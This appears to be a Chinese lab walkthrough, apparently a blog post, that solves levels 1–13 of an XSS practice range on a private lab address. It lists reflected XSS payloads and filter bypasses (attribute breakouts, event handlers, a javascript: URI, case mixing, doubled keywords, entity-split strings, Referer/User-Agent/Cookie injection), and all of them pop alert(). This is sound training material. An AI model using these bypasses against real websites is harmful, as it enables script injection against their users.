xsschallenge靶场练习1-13关

文章目录

第一关

观察页面

php 复制代码
http://192.168.80.139/xsschallenge/level1.php?name=test

尝试在name=后面输入最近基本的xss语法

js 复制代码
<script>alert(1)</script>

第二关

查看页面源代码

可以通过构造闭合

js 复制代码
"> <script>alert(1)</script>

第三关

查看页面源代码

发现过滤了特殊字符

通过单引号闭合,使用触发事件来绕过

js 复制代码
' οnclick='alert(/xss/)

第四关

过滤了< >标签

可是试着尝试上一关的方法

js 复制代码
" οnclick="alert(1)

第五关

通过查看源码得知,替换了scriptscr_ipt

使用大写绕过,看看是否可行

js 复制代码
<SCRIPT>alert(10)</SCRIPT>

发现还是不行,后端把 我们输入的大写,替换成了小写

尝试其他方法绕过,使用伪协议

js 复制代码
"> <a href=javascript:alert(1)>demo</a>

第六关

输入<script>alert(1)</script>测试,查看源代码,依旧替换了script

js 复制代码
"><Img sRc=# OnErRoR=alert(/xss/);>

第七关

使用上一关的通过代码,发现把on给过滤掉 了,还把href给过滤了

我们可以尝试点击事件,双写on,来绕过

js 复制代码
" oonnclick=alert(1)//

第八关

在页面输入框中输入" onclick=alert(1)//

查看页面源代码,发现双引号被做了转义,只能通过其他方式去绕过

可以↓方式去绕过

js 复制代码
j&#9;avasc&#10;r&#13;ipt:alert(/xss/)

第九关

js 复制代码
j&#9;avasc&#10;r&#13;ipt:alert('http://')

第十关

没有输入框可以在地址栏中绕过

js 复制代码
192.168.80.139/xsschallenge/level10.php?keyword=<script>alert(1)</script>

页面没有反应,

查看页面源代码,发现三个隐藏起来的输入框

可以尝试使用t_link\t_history\t_sort这三个 挨个尝试

发现只有 在t_sort输入的时候,才有变化

js 复制代码
http://192.168.80.139/xsschallenge/level10.php?t_sort=<script>alert(1)</script>

构造其他方法

js 复制代码
" type="test" οnclick="alert(1)

第十一关

代码审计

php 复制代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

查看页面代码

发现t_refvalue值是第十关的 地址

js 复制代码
" type="button" οnclick="alert(1)

也可以使用bp抓取数据包修改Referer字段的值

第十二关

代码审计

php 复制代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
js 复制代码
" type="button" οnmοuseοver="alert(1)"

第十三关

代码审计

php 复制代码
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
php 复制代码
user=" type="button" οnmοuseοver="alert(1)"
相关推荐
爱电摇的小码农2 小时前
【深度探究系列(5)】:前端开发打怪升级指南:从踩坑到封神的解决方案手册
前端·javascript·css·vue.js·node.js·html5·xss
码农12138号6 小时前
BUUCTF在线评测-练习场-WebCTF习题[GYCTF2020]Blacklist1-flag获取、解析
web安全·网络安全·ctf·sql注入·handler·buuctf
mooyuan天天7 小时前
DVWA靶场通关笔记-反射型XSS(Reflected Low级别)
xss·反射型xss·xss漏洞·dvwa靶场
花木偶7 小时前
【郑大二年级信安小学期】Day9:XSS跨站攻击&XSS绕过&CSRF漏洞&SSRF漏洞
前端·xss
爱思德学术8 小时前
CCF发布《计算领域高质量科技期刊分级目录(2025年版)》
大数据·网络安全·自动化·软件工程
小红卒17 小时前
upload-labs靶场通关详解:第21关 数组绕过
web安全·网络安全·文件上传漏洞
kp000001 天前
GitHub信息收集
web安全·网络安全·信息收集
LuDvei1 天前
CH9121T电路及配置详解
服务器·嵌入式硬件·物联网·网络协议·tcp/ip·网络安全·信号处理
此乃大忽悠1 天前
XSS(ctfshow)
javascript·web安全·xss·ctfshow
山川绿水1 天前
Ubuntu22.04更新Openssh至9.9p2无法正常连接,报错解决
服务器·web安全·网络安全